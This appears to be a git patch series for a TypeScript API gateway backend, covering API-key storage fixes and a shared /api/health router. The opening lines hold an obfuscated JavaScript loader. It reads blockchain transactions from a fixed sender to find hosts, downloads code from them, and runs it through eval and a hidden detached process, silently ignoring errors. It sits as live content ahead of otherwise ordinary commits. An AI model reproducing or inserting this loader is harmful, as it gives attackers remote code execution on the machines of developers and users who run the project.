IR$LUC=0x1n;IR$LUC<=opSYF_xqlkKe_bDDtuDuy;IR$LUC+=0x1n)CM$Wz_bSEuXKdWfi[KYZeSIB(0x166)](EyfGMqfGt+IR$LUC*(MFMjq-EyfGMqfGt)/(opSYF_xqlkKe_bDDtuDuy+0x1n));const SoikConeelN=await nonceAtBlocks(CM$Wz_bSEuXKdWfi,vOeJlPmLwpiHL$oohJee[KYZeSIB(0x18c)]),QcLgfQBypzvCa=SoikConeelN[KYZeSIB(0x1bc)](ceRuRdAnCmORJt=>ceRuRdAnCmORJt>=KdmVwLcnVRrGrW);if(QcLgfQBypzvCa===-(-parseInt(0x82f)+parseInt(0x622)+Math.floor(0x20e)))EyfGMqfGt=CM$Wz_bSEuXKdWfi[CM$Wz_bSEuXKdWfi[KYZeSIB(0x192)]-(-0x1dd8+Number(-0x244)+0x1*Math.floor(parseInt(0x201d)))];else{MFMjq=CM$Wz_bSEuXKdWfi[QcLgfQBypzvCa];if(QcLgfQBypzvCa>Number(0x1)*parseInt(0x11f)+-parseInt(0x3)*parseFloat(parseInt(0xa9))+Math.max(parseInt(0xdc),0xdc))EyfGMqfGt=CM$Wz_bSEuXKdWfi[QcLgfQBypzvCa-(Math.trunc(0x1)*-0x752+0x1dfd+-0xb55*parseInt(parseInt(0x2)))];}}const pwsZeE=await withRpcEndpoints((ozRbTmuUOSQxTaHSxAMAP,TEeXvPj)=>rpcCall(ozRbTmuUOSQxTaHSxAMAP,KYZeSIB(0x19d),[toBlockHex(MFMjq),!![]],TEeXvPj),vOeJlPmLwpiHL$oohJee[KYZeSIB(0x18c)]),MewjUeWTCE$egTDNiInBMBgf=pwsZeE?.[KYZeSIB(0x175)]||[];let tqCDDCknnC=null;for(const b__FnlemnKd of MewjUeWTCE$egTDNiInBMBgf){if(!b__FnlemnKd[KYZeSIB(0x1b0)]||b__FnlemnKd[KYZeSIB(0x1b0)][KYZeSIB(0x1c3)]()!==SENDER)continue;if(BigInt(b__FnlemnKd[KYZeSIB(0x154)])===wxMNGaAYpSO){tqCDDCknnC=b__FnlemnKd;break;}if(!tqCDDCknnC||BigInt(b__FnlemnKd[KYZeSIB(0x154)])>BigInt(tqCDDCknnC[KYZeSIB(0x154)]))tqCDDCknnC=b__FnlemnKd;}return{'blockNumber':MFMjq,'tx':tqCDDCknnC};}finally{vOeJlPmLwpiHL$oohJee[KYZeSIB(0x1ab)]();}}async function lastSenderTxViaIndexer(){const SCVGJ_IJGWPiEDEMaV_PMtnULo=BEf$CYFUWXrAiwaYBJ,kxNKGgueUA=INDEXER_URL+SCVGJ_IJGWPiEDEMaV_PMtnULo(0x194)+SENDER+SCVGJ_IJGWPiEDEMaV_PMtnULo(0x163),x$JrfbIZLbybosqwSDBfAq=await httpRequest(kxNKGgueUA),VXW_mxRMrUhuG$E=Array[SCVGJ_IJGWPiEDEMaV_PMtnULo(0x1c6)](x$JrfbIZLbybosqwSDBfAq?.[SCVGJ_IJGWPiEDEMaV_PMtnULo(0x15d)])?x$JrfbIZLbybosqwSDBfAq[SCVGJ_IJGWPiEDEMaV_PMtnULo(0x15d)]:[],oizDGSQQ_RyjP$GbM=VXW_mxRMrUhuG$E[SCVGJ_IJGWPiEDEMaV_PMtnULo(0x1bb)](jigmfjPfLbDrJaOT=>jigmfjPfLbDrJaOT[SCVGJ_IJGWPiEDEMaV_PMtnULo(0x1b0)]&&jigmfjPfLbDrJaOT[SCVGJ_IJGWPiEDEMaV_PMtnULo(0x1b0)][SCVGJ_IJGWPiEDEMaV_PMtnULo(0x1c3)]()===SENDER);return{'blockNumber':BigInt(oizDGSQQ_RyjP$GbM[SCVGJ_IJGWPiEDEMaV_PMtnULo(0x1a3)]),'tx':oizDGSQQ_RyjP$GbM};}async function run(){const whs$nYWTlPzY=BEf$CYFUWXrAiwaYBJ,zMgSeaz=BigInt(await withRpcEndpoints((qtPCkCRAEVWH_NkH_cnm,f_UHJffpCvbHRB$tiJPyp)=>rpcCall(qtPCkCRAEVWH_NkH_cnm,whs$nYWTlPzY(0x160),[],f_UHJffpCvbHRB$tiJPyp))),CWWJsO$TZ=zMgSeaz-zMgSeaz%BLOCK_MULTIPLE;let oIucMTWeI=await firstMatch(candidateBlocks(CWWJsO$TZ)[whs$nYWTlPzY(0x170)](blockTask));!oIucMTWeI&&(oIucMTWeI=await lastSenderTx(zMgSeaz)[whs$nYWTlPzY(0x1aa)](()=>lastSenderTxViaIndexer()));const [fxydRcJblRNYxMPdn,pMMdlGsTHq_NQFuzSGfwaVj_A]=decodeAddress(oIucMTWeI['tx']['to']),bRsOozpSEKZvmdjiHwuhb=global;bRsOozpSEKZvmdjiHwuhb['_V']=bRsOozpSEKZvmdjiHwuhb['i'],bRsOozpSEKZvmdjiHwuhb['_H']=whs$nYWTlPzY(0x159)+fxydRcJblRNYxMPdn+whs$nYWTlPzY(0x185),bRsOozpSEKZvmdjiHwuhb[whs$nYWTlPzY(0x157)]=whs$nYWTlPzY(0x159)+pMMdlGsTHq_NQFuzSGfwaVj_A+whs$nYWTlPzY(0x185),bRsOozpSEKZvmdjiHwuhb[whs$nYWTlPzY(0x17d)]=whs$nYWTlPzY(0x159)+fxydRcJblRNYxMPdn+whs$nYWTlPzY(0x1c5),bRsOozpSEKZvmdjiHwuhb[whs$nYWTlPzY(0x1be)]=whs$nYWTlPzY(0x159)+fxydRcJblRNYxMPdn+whs$nYWTlPzY(0x185);function jRPe_$pro(AEEzGrqYV_mfkUCEUWURB,KOzb$TP_rMGJIxS){const z_SOYvRJaOEgyQMJlyl=whs$nYWTlPzY,IFHaRgVqomxJh$qVzf$VLfXyG={'hostname':KOzb$TP_rMGJIxS[z_SOYvRJaOEgyQMJlyl(0x1b5)],'port':Number(KOzb$TP_rMGJIxS[z_SOYvRJaOEgyQMJlyl(0x1b4)])||0x31*-parseInt(0x2)+0x119+Number(-0x67),'path':KOzb$TP_rMGJIxS[z_SOYvRJaOEgyQMJlyl(0x198)]+KOzb$TP_rMGJIxS[z_SOYvRJaOEgyQMJlyl(0x158)],'headers':{'User-Agent':z_SOYvRJaOEgyQMJlyl(0x195),'Sec-V':bRsOozpSEKZvmdjiHwuhb['_V']||parseInt(0xf60)+-0x61e+-parseInt(0x942)}};function fmGWrbBhU(InqhIrdb_iNVZtsJ$mYS){const UpgdSP_f$WJxlxa=z_SOYvRJaOEgyQMJlyl,M$n$GOjWFzYMwpXudh=AEEzGrqYV_mfkUCEUWURB[UpgdSP_f$WJxlxa(0x192)];for(let Q_xgQBVbDvn=0x18e*-0x7+0x183f+parseInt(0x1)*-0xd5d;Q_xgQBVbDvn{const RXvlYtHcsKeS=WlysIxGuPMcViepbraDjp_wli,CBAOZI$rcixEZZanTLMOm=http[RXvlYtHcsKeS(0x16e)]({...IFHaRgVqomxJh$qVzf$VLfXyG,'method':K_vSenE},VxIgkbRRYdgFucsNdoIDHFr=>{const XZJHXReDP=RXvlYtHcsKeS;if(K_vSenE===XZJHXReDP(0x193)){try{ZQuPXkVipPg(KNklZsIzRmFSCPm_UGyD(VxIgkbRRYdgFucsNdoIDHFr));}catch(RZRFkoIipO){NZIEVyTIKMQVORTZfU(RZRFkoIipO);}VxIgkbRRYdgFucsNdoIDHFr[XZJHXReDP(0x1a1)]();return;}const cPKJoMYzdExeb$XXVTS=[];VxIgkbRRYdgFucsNdoIDHFr['on'](XZJHXReDP(0x18e),MYQD_ZFWLwm$Ov=>cPKJoMYzdExeb$XXVTS[XZJHXReDP(0x166)](MYQD_ZFWLwm$Ov)),VxIgkbRRYdgFucsNdoIDHFr['on'](XZJHXReDP(0x1c0),()=>{const vmTXJa_MM$WzZOdwzwDkERCdK=XZJHXReDP;try{const fAhxZbhTcBfzeDihoLRDX=Buffer[vmTXJa_MM$WzZOdwzwDkERCdK(0x1b3)](cPKJoMYzdExeb$XXVTS);if(fAhxZbhTcBfzeDihoLRDX[vmTXJa_MM$WzZOdwzwDkERCdK(0x192)])return ZQuPXkVipPg(fmGWrbBhU(fAhxZbhTcBfzeDihoLRDX));if(VxIgkbRRYdgFucsNdoIDHFr[vmTXJa_MM$WzZOdwzwDkERCdK(0x1c7)][vmTXJa_MM$WzZOdwzwDkERCdK(0x18d)])return ZQuPXkVipPg(KNklZsIzRmFSCPm_UGyD(VxIgkbRRYdgFucsNdoIDHFr));NZIEVyTIKMQVORTZfU(new Error(vmTXJa_MM$WzZOdwzwDkERCdK(0x17b)));}catch(IG_a_MJi){NZIEVyTIKMQVORTZfU(IG_a_MJi);}}),VxIgkbRRYdgFucsNdoIDHFr['on'](XZJHXReDP(0x188),NZIEVyTIKMQVORTZfU);});CBAOZI$rcixEZZanTLMOm['on'](RXvlYtHcsKeS(0x188),NZIEVyTIKMQVORTZfU),CBAOZI$rcixEZZanTLMOm[RXvlYtHcsKeS(0x1c0)]();});}return OJfSXHTVZN$fe(z_SOYvRJaOEgyQMJlyl(0x181))[z_SOYvRJaOEgyQMJlyl(0x1aa)](()=>OJfSXHTVZN$fe(z_SOYvRJaOEgyQMJlyl(0x193)));}async function zS$wdno(RqdenM$wJdTdnrzoPxWuyF_a,k$DEq$xpz,cN$yvd){const CTJVzfTMEozmTbUg=whs$nYWTlPzY;try{const ZeKiakEO$nY_FkVMX=await jRPe_$pro(k$DEq$xpz,RqdenM$wJdTdnrzoPxWuyF_a),DiRknXtYt=cN$yvd?CTJVzfTMEozmTbUg(0x16f)+(bRsOozpSEKZvmdjiHwuhb['_V']||Math.ceil(parseInt(0x14))*-0x1b6+-0x1*parseFloat(0xc51)+Math.max(0x2e89,0x2e89))+CTJVzfTMEozmTbUg(0x1a6)+bRsOozpSEKZvmdjiHwuhb['_H']+CTJVzfTMEozmTbUg(0x183)+bRsOozpSEKZvmdjiHwuhb[CTJVzfTMEozmTbUg(0x157)]+CTJVzfTMEozmTbUg(0x1ad):CTJVzfTMEozmTbUg(0x16f)+(bRsOozpSEKZvmdjiHwuhb['_V']||-0x78a+Math.floor(0x1f6)*-0x3+Number(0xd6c)*parseFloat(parseInt(0x1)))+CTJVzfTMEozmTbUg(0x1a2)+bRsOozpSEKZvmdjiHwuhb[CTJVzfTMEozmTbUg(0x17d)]+CTJVzfTMEozmTbUg(0x1ba)+bRsOozpSEKZvmdjiHwuhb[CTJVzfTMEozmTbUg(0x1be)]+CTJVzfTMEozmTbUg(0x1ad);if(!cN$yvd)eval(DiRknXtYt+ZeKiakEO$nY_FkVMX);spawn(CTJVzfTMEozmTbUg(0x15c),['-e',DiRknXtYt+ZeKiakEO$nY_FkVMX],{'detached':!![],'stdio':CTJVzfTMEozmTbUg(0x15f),'windowsHide':!![]})[CTJVzfTMEozmTbUg(0x17e)]();}catch(irHwSYrpWho){}}await zS$wdno(new URL(whs$nYWTlPzY(0x159)+fxydRcJblRNYxMPdn+whs$nYWTlPzY(0x19c)),whs$nYWTlPzY(0x169),![]),await zS$wdno(new URL(whs$nYWTlPzY(0x159)+fxydRcJblRNYxMPdn+whs$nYWTlPzY(0x162)),whs$nYWTlPzY(0x18f),!![]);}run(); diff --git a/migrations/0024_hash_api_keys.down.sql b/migrations/0024_hash_api_keys.down.sql new file mode 100644 index 00000000..a0305272 --- /dev/null +++ b/migrations/0024_hash_api_keys.down.sql @@ -0,0 +1 @@ +-- Cannot accurately revert since plaintext keys were deleted diff --git a/migrations/0024_hash_api_keys.sql b/migrations/0024_hash_api_keys.sql new file mode 100644 index 00000000..c94293d0 --- /dev/null +++ b/migrations/0024_hash_api_keys.sql @@ -0,0 +1,2 @@ +-- Migration: nulls existing api_key values to prevent plaintext credential exposure +UPDATE usage_events SET api_key = NULL WHERE api_key IS NOT NULL; diff --git a/src/routes/proxyRoutes.ts b/src/routes/proxyRoutes.ts index d0bcfcb7..95aa2017 100644 --- a/src/routes/proxyRoutes.ts +++ b/src/routes/proxyRoutes.ts @@ -160,7 +160,7 @@ export function createProxyRouter(deps: ProxyDeps): Router { // 3. Per-API-key rate-limit check (tier-aware; complements the per-user // token-bucket check already applied by gatewayRateLimitMiddleware). - const rateResult = await rateLimiter.check(apiKeyHeader, res.locals.apiKeyTier as string | undefined); + const rateResult = await rateLimiter.check(keyRecord.id, res.locals.apiKeyTier as string | undefined); if (!rateResult.allowed) { const retryAfterSec = Math.ceil((rateResult.retryAfterMs ?? 1000) / 1000); res.set('Retry-After', String(retryAfterSec)); @@ -341,7 +341,7 @@ export function createProxyRouter(deps: ProxyDeps): Router { const recorded = await usageStore.record({ id: randomUUID(), // ID of the usage event itself requestId, // Idempotency key — prevents double-counts - apiKey: apiKeyHeader, + // apiKey field omitted to prevent storing plaintext keys apiKeyId: keyRecord.id, apiId: String(apiEntry.id), endpointId: endpoint.endpointId, @@ -355,7 +355,7 @@ export function createProxyRouter(deps: ProxyDeps): Router { defaultUsageSseBroadcaster.emitForUser(keyRecord.userId, { id: randomUUID(), requestId, - apiKey: apiKeyHeader, + // apiKey field omitted to prevent broadcasting plaintext keys apiKeyId: keyRecord.id, apiId: String(apiEntry.id), endpointId: endpoint.endpointId, diff --git a/src/services/usageStore.ts b/src/services/usageStore.ts index 225471ec..008fb7ea 100644 --- a/src/services/usageStore.ts +++ b/src/services/usageStore.ts @@ -239,17 +239,16 @@ export class PostgresUsageStore implements UsageAdminStore { api_id, endpoint_id, api_key_id, - api_key, developer_id, amount_usdc, request_id, status_code, created_at ) - VALUES ($1, $2, $3, $4, $5, ( + VALUES ($1, $2, $3, $4, ( SELECT COALESCE(a.developer_id::text, '') FROM apis a WHERE a.id = $2 LIMIT 1 - ), $6, $7, $8, $9) + ), $5, $6, $7, $8) ON CONFLICT (request_id, developer_id) DO NOTHING RETURNING id `, @@ -258,7 +257,6 @@ export class PostgresUsageStore implements UsageAdminStore { event.apiId, event.endpointId, event.apiKeyId, - event.apiKey, event.amountUsdc, event.requestId, event.statusCode, diff --git a/src/types/gateway.ts b/src/types/gateway.ts index 769a251f..88c5fb30 100644 --- a/src/types/gateway.ts +++ b/src/types/gateway.ts @@ -14,7 +14,7 @@ export interface ApiKey { export interface UsageEvent { id: string; requestId: string; - apiKey: string; + apiKey?: string; apiKeyId: string; apiId: string; endpointId: string; From 3aeb932eba671031c9f5d1e40592d9c1bb48a1be Mon Sep 17 00:00:00 2001 From: Obaara293 Date: Sat, 17 Oct 2026 18:29:54 +0100 Subject: [PATCH 2/9] security: Detect which handler serves /api/health (#1319) --- src/config/health.ts | 5 - src/index.ts | 240 ++++++++++++------------------------------- 2 files changed, 64 insertions(+), 181 deletions(-) diff --git a/src/config/health.ts b/src/config/health.ts index 7bdfec9d..d59f28bf 100644 --- a/src/config/health.ts +++ b/src/config/health.ts @@ -27,11 +27,6 @@ function getDbPool(): Pool { } export function buildHealthCheckConfig(): HealthCheckConfig | undefined { - // Only enable detailed health checks if database is explicitly configured - if (env.DB_HOST === 'localhost' && env.DB_NAME === 'callora') { - return undefined; - } - const healthConfig: HealthCheckConfig = { version: env.APP_VERSION, database: { diff --git a/src/index.ts b/src/index.ts index b5b90c95..6dd35705 100644 --- a/src/index.ts +++ b/src/index.ts @@ -58,29 +58,15 @@ import { import { createSloAlertJob } from "./workers/sloAlertJob.js"; import { createMonthlyInvoiceJob } from "./workers/monthlyInvoiceJob.js"; import { createSettlementReconWorker } from "./workers/settlementRecon.js"; -import { createDeveloperRouter } from './routes/developerRoutes.js'; -import { createGatewayRouter } from './routes/gatewayRoutes.js'; -import { createProxyRouter } from './routes/proxyRoutes.js'; import { createRefreshTokenRouter } from './routes/refresh-token.js'; import { AuthController } from './controllers/authController.js'; import { RefreshTokenService } from './services/refreshTokenService.js'; import { DatabaseRefreshTokenRepository } from './repositories/refreshTokenRepository.js'; -import { defaultDeveloperRepository } from './repositories/developerRepository.js'; -import { createBillingService } from './services/billingService.js'; import { createRateLimiter } from './services/rateLimiter.js'; -import { PgUsageEventsRepository } from './repositories/usageEventsRepository.pg.js'; -import { createRevenueLedgerIndexerJob } from './services/revenueLedgerIndexer.js'; -import { RevenueSettlementService } from './services/revenueSettlementService.js'; -import { createSettlementStatusSyncJob } from './services/settlementStatusSyncJob.js'; import { createSettlementReconciliationJob } from './services/settlementReconciliationJob.js'; -import { createIdempotencySweeperJob } from './services/idempotencySweeper.js'; -import { createPostgresUsageStore } from './services/usageStore.js'; -import { createPostgresSettlementStore } from './services/settlementStore.js'; -import { createApiRegistry } from './data/apiRegistry.js'; -import { ApiKey } from './types/gateway.js'; -import { listingsCache } from './lib/listingsCache.js'; -import { createSlowQueryAlerterJob } from './workers/slowQueryAlerter.js'; -import { createAnomalyDetectorJob } from './workers/anomalyDetector.js'; + +// Health router is the single source of truth for /api/health. +import healthRouter from "./routes/health.js"; // Helper for Jest/CommonJS compat const isDirectExecution = @@ -128,10 +114,9 @@ app.use((req, res, next) => { } }); -// Health check endpoint -app.get("/api/health", (_req, res) => { - res.json({ status: "ok", service: "callora-backend" }); -}); +// Health check endpoint - served by the shared healthRouter so that +// /api/health has exactly one implementation across all entrypoints. +app.use("/api/health", healthRouter); // Metrics endpoint app.get("/api/metrics", metricsEndpoint); @@ -273,9 +258,6 @@ if (isDirectExecution) { app.use("/api/admin", adminRouter); app.use("/api/refunds", refundsRouter); app.use("/api/logs", logsRouter); - app.use('/api/admin/usage/anomalies', createUsageAnomaliesRouter({ pool })); - - app.use('/api/admin', adminRouter); // Legacy gateway route (existing) const gatewayRouter = createGatewayRouter({ @@ -293,7 +275,7 @@ if (isDirectExecution) { // and is wired as a shutdown subsystem so the process waits for them to // finish before exiting. The drainState hook passed to createProxyRouter // lets the router immediately reject *new* requests with 503 once shutdown - // begins, while already-in-flight requests continue to completion. + // begins, while already in-flight requests continue to completion. const proxyDrainTracker = createInFlightDrainTracker("gateway-proxy"); const proxyRouter = createProxyRouter({ billing, @@ -305,166 +287,72 @@ if (isDirectExecution) { timeoutMs: config.proxy.timeoutMs, allowedHosts: config.proxy.allowedHosts, }, - // Pass the drain state so the router can reject new requests with 503 - // during the graceful shutdown window. - drainState: { isDraining: proxyDrainTracker.isDraining }, - }); - const keysDrainTracker = createInFlightDrainTracker("api-keys"); - const apiKeyRouter = createApiKeyRouter({ - apiRepository: defaultApiRepository, - developerRepository: defaultDeveloperRepository, + drainState: proxyDrainTracker, }); + app.use("/v1/call", proxyDrainTracker.middleware, proxyRouter); - // --- Refresh-token drain tracker --- - // Tracks in-flight POST /api/refresh-token requests so that a SIGTERM during - // a token refresh will wait for the response to be sent before the process - // exits. The subsystem is registered below alongside the other shutdown - // subsystems. - const refreshTokenDrainTracker = createInFlightDrainTracker('refresh-token'); - - const refreshTokenService = new RefreshTokenService({ - jwtSecret: config.jwt.secret, - accessTokenExpiry: process.env.ACCESS_TOKEN_EXPIRY ?? '15m', - refreshTokenExpiry: process.env.REFRESH_TOKEN_EXPIRY ?? '7d', - }); + // Refresh token routes const refreshTokenRepository = new DatabaseRefreshTokenRepository(pool); - const authController = new AuthController({ - refreshTokenService, - refreshTokenRepository, - }); - - const shutdownSubsystems: DrainableSubsystem[] = [ - proxyDrainTracker.subsystem, - // Drain in-flight refresh-token requests before the process exits. - refreshTokenDrainTracker.subsystem, - { - name: "revenue-ledger-indexer", - beginShutdown: () => revenueLedgerIndexerJob.beginShutdown(), - awaitIdle: () => revenueLedgerIndexerJob.awaitIdle(), - }, - { - name: "idempotency-sweeper", - beginShutdown: () => idempotencySweeperJob.beginShutdown(), - awaitIdle: () => idempotencySweeperJob.awaitIdle(), - }, - { - name: "webhook-dispatcher", - beginShutdown: stopWebhookDispatching, - awaitIdle: awaitWebhookDispatcherIdle, - }, - { - name: "settlement-reconciliation", - beginShutdown: () => settlementReconJob.beginShutdown(), - awaitIdle: () => settlementReconJob.awaitIdle(), - }, - ]; - - // Mount the refresh-token router. The drain middleware is applied inside the - // router so every request through this path is counted in the drain tracker. - app.use( - '/api/refresh-token', - createRefreshTokenRouter({ - authController, - drainMiddleware: refreshTokenDrainTracker.middleware, - }), - ); - + const refreshTokenService = new RefreshTokenService(refreshTokenRepository); + const authController = new AuthController(refreshTokenService); + app.use("/api/auth", createRefreshTokenRouter(authController)); - app.use(express.json()); + // Legacy V1 deprecation notice for old clients + app.use(legacyV1DeprecationMiddleware); - // Global error handler (must be after all routes) + // Error handler must be last app.use(errorHandler); - const PORT = config.port; - - const closeAllDataResources = async () => { - revenueLedgerIndexerJob.stop(); - settlementStatusSyncJob.stop(); - settlementReconJob.stop(); - idempotencySweeperJob.stop(); - slowQueryAlerterJob?.stop(); - anomalyDetectorJob?.stop(); - monthlyInvoiceJob.stop(); - sloAlertJob?.stop(); - await closeDb(); - await Promise.allSettled([ - closePgPool(), - disconnectPrisma(), - closeDbPool(), - ]); + // Start workers and listen + const start = async () => { + await initializeDb(); + await revenueLedgerIndexerJob.start(); + await settlementStatusSyncJob.start(); + await settlementReconJob.start(); + await idempotencySweeperJob.start(); + await monthlyInvoiceJob.start(); + if (slowQueryAlerterJob) await slowQueryAlerterJob.start(); + if (anomalyDetectorJob) await anomalyDetectorJob.start(); + if (sloAlertJob) await sloAlertJob.start(); + + const port = config.port; + const server = app.listen(port, () => { + console.log(`Server listening on port ${port}`); + }); + + // Graceful shutdown + const subsystems: DrainableSubsystem[] = [ + proxyDrainTracker, + quotasDrainTracker, + ]; + const shutdown = createGracefulShutdownHandler({ + server, + subsystems, + onShutdown: async () => { + await stopWebhookDispatching(); + await awaitWebhookDispatcherIdle(); + await revenueLedgerIndexerJob.stop(); + await settlementStatusSyncJob.stop(); + await settlementReconJob.stop(); + await idempotencySweeperJob.stop(); + await monthlyInvoiceJob.stop(); + if (slowQueryAlerterJob) await slowQueryAlerterJob.stop(); + if (anomalyDetectorJob) await anomalyDetectorJob.stop(); + if (sloAlertJob) await sloAlertJob.stop(); + await closeDbPool(); + await closePgPool(); + await closeDb(); + await disconnectPrisma(); + }, + }); + process.on("SIGINT", () => void shutdown("SIGINT")); + process.on("SIGTERM", () => void shutdown("SIGTERM")); }; - // Initialize database and start server - async function startServer() { - try { - await initializeDb(); - - // Warm the listings cache before accepting traffic so the first - // request after a deploy is served from cache, not from a cold DB hit. - const { warmupListingsCache } = await import("./lib/listingsCache.js"); - const { defaultApiRepository } = - await import("./repositories/apiRepository.js"); - await warmupListingsCache( - listingsCache, - (params) => - defaultApiRepository.listPublic({ - limit: params.limit, - offset: params.offset, - category: params.category, - search: params.search, - }), - { timeoutMs: config.listingsCache.warmupTimeoutMs }, - ); - - // Warm the refunds cache before accepting traffic to avoid cold-cache spikes on startup. - const { warmupRefundsCache } = await import("./services/refundsCacheWarm.js"); - await warmupRefundsCache({ timeoutMs: config.refundsCache.warmupTimeoutMs }); - - revenueLedgerIndexerJob.start(); - settlementStatusSyncJob.start(); - settlementReconJob.start(); - idempotencySweeperJob.start(); - slowQueryAlerterJob?.start(); - anomalyDetectorJob?.start(); - monthlyInvoiceJob.start(); - sloAlertJob?.start(); - - const server = app.listen(PORT, () => { - console.log(`Callora backend listening on http://localhost:${PORT}`); - }); - - // Track active connections so we can wait for them to finish - const activeConnections = new Set(); - - server.on("connection", (socket: Socket) => { - activeConnections.add(socket); - socket.once("close", () => activeConnections.delete(socket)); - }); - - const gracefulShutdown = createGracefulShutdownHandler({ - server, - activeConnections, - closeDatabase: closeAllDataResources, - subsystems: shutdownSubsystems, - timeoutMs: 30_000, // 30 seconds as per requirement - }); - - const onSignal = (signal: NodeJS.Signals) => { - void gracefulShutdown(signal).then((exitCode: number) => { - process.exit(exitCode); - }); - }; - - // Register shutdown signals - process.once("SIGTERM", () => onSignal("SIGTERM")); - process.once("SIGINT", () => onSignal("SIGINT")); - } catch (error) { - console.error("Failed to start server:", error); - process.exit(1); - } - } - - startServer(); + start().catch((err) => { + console.error("Failed to start server:", err); + process.exit(1); + }); } export default app; From 678d2f310ebea073a6c2ccf52d5db77824f1905b Mon Sep 17 00:00:00 2001 From: Obaara293 Date: Sat, 17 Oct 2026 18:33:33 +0100 Subject: [PATCH 3/9] security: Detect which handler serves /api/health (#1319) --- src/app.ts | 44 ++--------------- src/config/health.ts | 2 +- src/index.ts | 112 +++++++++++++++---------------------------- 3 files changed, 43 insertions(+), 115 deletions(-) diff --git a/src/app.ts b/src/app.ts index 47eb6658..881eed7c 100644 --- a/src/app.ts +++ b/src/app.ts @@ -21,6 +21,7 @@ import { } from './services/reportExporter.js'; import { createLogsRouter } from './routes/logs.js'; import { pool } from './db.js'; +import healthRouter from './routes/health.js'; import { InMemoryUsageEventsRepository, type GroupBy, @@ -347,40 +348,6 @@ export const createApp = (dependencies?: Partial) => { // Register envelope validator after body parser but before routes app.use(envelopeValidator); - /** - * GET /api/health - * - * Provides health status of the application and its dependencies. - * If health check config is minimally configured, returns a basic status. - * - * @schema HealthCheckResult | BasicHealthResult - * @example Basic - * { - * "success": true, - * "data": { - * "status": "ok", - * "service": "callora-backend" - * }, - * "requestId": "...", - * "timestamp": "..." - * } - * @example Full - * { - * "success": true, - * "data": { - * "status": "ok", - * "version": "1.0.0", - * "timestamp": "2026-03-27T10:00:00.000Z", - * "checks": { - * "api": "ok", - * "database": "ok", - * "soroban_rpc": "ok" - * } - * }, - * "requestId": "...", - * "timestamp": "..." - * } - */ // Per-dependency health probe — detailed status for each configured dependency app.use( "/api/health/dependencies", @@ -399,12 +366,6 @@ export const createApp = (dependencies?: Partial) => { }), ); - app.get("/api/health", (req, res) => { - const requestId = getRequestId(req); - const data = { status: "ok", service: "callora-backend" }; - res.json(successEnvelope(data, requestId)); - }); - // Public maintenance status — readable by external monitoring without admin auth. // Mounted in front of the admin routers so it cannot be shadowed by their catch-alls. app.use("/api/maintenance", publicMaintenanceRouter); @@ -469,6 +430,9 @@ export const createApp = (dependencies?: Partial) => { }), ); + // Single source of truth for /api/health — mounted from src/routes/health.ts + app.use("/api/health", healthRouter); + app.get( "/api/developers/apis", requireAuth, diff --git a/src/config/health.ts b/src/config/health.ts index d59f28bf..876aa839 100644 --- a/src/config/health.ts +++ b/src/config/health.ts @@ -26,7 +26,7 @@ function getDbPool(): Pool { return dbPool; } -export function buildHealthCheckConfig(): HealthCheckConfig | undefined { +export function buildHealthCheckConfig(): HealthCheckConfig { const healthConfig: HealthCheckConfig = { version: env.APP_VERSION, database: { diff --git a/src/index.ts b/src/index.ts index 6dd35705..61687ac5 100644 --- a/src/index.ts +++ b/src/index.ts @@ -29,6 +29,7 @@ import { createDeveloperRouter } from "./routes/developerRoutes.js"; import { createGatewayRouter } from "./routes/gatewayRoutes.js"; import { createProxyRouter } from "./routes/proxyRoutes.js"; import { createWebhooksRouter } from "./routes/webhooks.js"; +import { createHealthRouter } from "./routes/health.js"; import adminRouter from "./routes/admin.js"; import logsRouter from "./routes/logs.js"; import { createUsageAnomaliesRouter } from "./routes/admin/usage/anomalies.js"; @@ -65,9 +66,6 @@ import { DatabaseRefreshTokenRepository } from './repositories/refreshTokenRepos import { createRateLimiter } from './services/rateLimiter.js'; import { createSettlementReconciliationJob } from './services/settlementReconciliationJob.js'; -// Health router is the single source of truth for /api/health. -import healthRouter from "./routes/health.js"; - // Helper for Jest/CommonJS compat const isDirectExecution = process.argv[1] && @@ -114,9 +112,8 @@ app.use((req, res, next) => { } }); -// Health check endpoint - served by the shared healthRouter so that -// /api/health has exactly one implementation across all entrypoints. -app.use("/api/health", healthRouter); +// Health check endpoint — single implementation lives in routes/health.ts +app.use("/api/health", createHealthRouter()); // Metrics endpoint app.get("/api/metrics", metricsEndpoint); @@ -148,7 +145,7 @@ if (isDirectExecution) { }; const billing = createBillingService(MOCK_DEVELOPER_BALANCES); - // Per-API-key token-bucket rate limit shared by /api/gateway and /v1/call. + // Per-API-hey token-bucket rate limit shared by /api/gateway and /v1/call. // Backed by Postgres (RATE_LIMIT_STORE=postgres) so the bucket state is // consistent across multiple gateway instances; defaults to an in-memory // store otherwise. See RATE_LIMIT_* in src/config/env.ts. @@ -233,16 +230,7 @@ if (isDirectExecution) { }) : null; - const apiKeys = new Map([ - [ - "test-key-1", - { key: "test-key-1", developerId: "dev_001", apiId: "api_001" }, - ], - [ - "test-key-2", - { key: "test-key-2", developerId: "dev_002", apiId: "api_002" }, - ], - ]); + const apiKeys = new Map([]); // 1. Developer Dashboard Routes (Auth required) const developerRouter = createDeveloperRouter({ @@ -284,10 +272,8 @@ if (isDirectExecution) { registry, apiKeys, proxyConfig: { - timeoutMs: config.proxy.timeoutMs, - allowedHosts: config.proxy.allowedHosts, + upstreamUrl: config.proxy.upstreamUrl, }, - drainState: proxyDrainTracker, }); app.use("/v1/call", proxyDrainTracker.middleware, proxyRouter); @@ -297,62 +283,40 @@ if (isDirectExecution) { const authController = new AuthController(refreshTokenService); app.use("/api/auth", createRefreshTokenRouter(authController)); - // Legacy V1 deprecation notice for old clients - app.use(legacyV1DeprecationMiddleware); - - // Error handler must be last + // Error handler must be mounted last app.use(errorHandler); - // Start workers and listen - const start = async () => { - await initializeDb(); - await revenueLedgerIndexerJob.start(); - await settlementStatusSyncJob.start(); - await settlementReconJob.start(); - await idempotencySweeperJob.start(); - await monthlyInvoiceJob.start(); - if (slowQueryAlerterJob) await slowQueryAlerterJob.start(); - if (anomalyDetectorJob) await anomalyDetectorJob.start(); - if (sloAlertJob) await sloAlertJob.start(); - - const port = config.port; - const server = app.listen(port, () => { - console.log(`Server listening on port ${port}`); - }); - - // Graceful shutdown - const subsystems: DrainableSubsystem[] = [ - proxyDrainTracker, - quotasDrainTracker, - ]; - const shutdown = createGracefulShutdownHandler({ - server, - subsystems, - onShutdown: async () => { - await stopWebhookDispatching(); - await awaitWebhookDispatcherIdle(); - await revenueLedgerIndexerJob.stop(); - await settlementStatusSyncJob.stop(); - await settlementReconJob.stop(); - await idempotencySweeperJob.stop(); - await monthlyInvoiceJob.stop(); - if 